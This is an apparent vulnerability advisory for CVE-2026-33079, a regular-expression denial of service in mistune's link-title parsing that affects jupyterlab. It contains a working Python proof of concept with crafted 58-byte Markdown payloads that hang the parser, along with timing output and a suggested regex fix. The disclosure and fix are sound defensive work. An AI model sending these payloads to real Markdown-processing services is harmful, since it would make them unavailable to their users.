CVE-2026-33079VulnerabilityPublished 13 Aug 2026Updated 29 Oct 2026

Jupyterlab: Mistune has a ReDoS

Affects jupyterlabSource GCVE Database

Compare

Authoritative record:CVE-2026-33079· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 4.5.7_1 soon.

Data as of 30 Oct 2026, 07:30 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

Patch: Available – fixed in 4.5.7_1

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: None
Vulnerable system integrity: None
Vulnerable system availability: High
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: None: There is no loss of confidentiality within the Vulnerable System.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: High: There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the Vulnerable System; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the Vulnerable System (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 May 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponized: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 29 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponized: A Metasploit exploit module or Exploit-DB entry exists (Metasploit scanner modules do not count), or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade jupyterlab to 4.5.7_1.

Affected software

Product	Affected	Fixed in
Homebrewjupyterlab`pkg:brew/jupyterlab`Other threats	Affected >=4.0.3 <4.5.7_1	Fixed in 4.5.7_1

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary A ReDoS (Regular Expression Denial of Service) vulnerability in `LINK_TITLE_RE` allows an attacker who can supply Markdown for parsing to cause denial of service. A crafted 58-byte Markdown document blocks the parser for approximately 6 seconds (measured on Apple M2, Python 3.14.3), with exponential growth per additional byte pair. ### Details The vulnerable regex is defined in [`src/mistune/helpers.py#L20-L25`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L20-L25): ```python LINK_TITLE_RE = re.compile( r"[ \t\n]+(" r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"|' # "title" r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'" # 'title' r")" ) ``` The double-quote branch compiles to `"(?:\\[PUNCTUATION]|[^"\x00])*"`. The two alternatives inside `(A|B)*` overlap: a backslash followed by a punctuation character (e.g. `\!`) can be matched by **either** branch — as a 2-character escaped-punctuation sequence `\\!`, or as two individual `[^"\x00]` characters (`\` then `!`). The same ambiguity exists in the single-quoted title branch. When the input contains repeated `\!` pairs with no closing `"`, the regex engine exhaustively backtracks through all 2^N combinations, resulting in **exponential O(2^N) time complexity**. This is reachable through normal Markdown parsing via two code paths: 1. **Inline links**: `[text](url "PAYLOAD)` → [`parse_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L178) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) 2. **Block link reference definitions**: `[label]: url "PAYLOAD` → [`BlockParser.parse_ref_link()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L220) → [`parse_link_title()`](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/helpers.py#L169) at [block_parser.py#L259](https://github.com/lepture/mistune/blob/df23edd60b43b639d2e6760ef9dd3d618aa11c21/src/mistune/block_parser.py#L259) ### PoC ```python import mistune import time md = mistune.create_markdown() # Test with increasing N (number of \! pairs) for n in [15, 18, 20, 22, 25]: payload = '[x](y "' + '\\!' * n + ')' start = time.time() md(payload) elapsed = time.time() - start print(f"N={n:2d} len={len(payload):3d} bytes time={elapsed:.3f}s") ``` Output (Apple M2, Python 3.14.3, mistune 3.2.0): ``` N=15 len= 38 bytes time=0.007s N=18 len= 44 bytes time=0.044s N=20 len= 48 bytes time=0.178s N=22 len= 52 bytes time=0.740s N=25 len= 58 bytes time=5.922s ``` Each increment of N roughly doubles the execution time (consistent with O(2^N)). The same attack works via block link reference definitions: ```python payload = '[l]: u "' + '\\!' * 25 # 58 bytes, ~6 seconds md(payload) ``` ### Impact This is a denial of service vulnerability. Any application or service that parses user-supplied Markdown using mistune can be made unresponsive by an attacker submitting a small crafted input (under 100 bytes). Affected use cases include: - Web applications with Markdown-enabled input fields (comments, posts, descriptions) - Documentation systems that accept user contributions - API endpoints that process Markdown - Jupyter tooling such as nbconvert that relies on mistune for rendering ### Suggested Fix Exclude the backslash character from the catch-all character class to eliminate the alternation overlap: ```python # Before (vulnerable): r'"(?:\\' + PUNCTUATION + r'|[^"\x00])*"' r"'(?:\\" + PUNCTUATION + r"|[^'\x00])*'" # After (fixed): r'"(?:\\' + PUNCTUATION + r'|[^"\\\x00])*"' r"'(?:\\" + PUNCTUATION + r"|[^'\\\x00])*'" ``` This ensures a backslash can only be consumed by the escaped-punctuation branch, eliminating the ambiguity in both the double-quote and single-quote branches. Verified on mistune 3.2.0 (Apple M2, Python 3.14.3): - Reduces N=25 from 4.2 seconds to 0.000006 seconds (700,000x improvement) - Handles N=50 in 0.000008 seconds - Passes all existing functional tests (quoted titles, escaped quotes, escaped punctuation)

References

Community reviews

Loading reviews…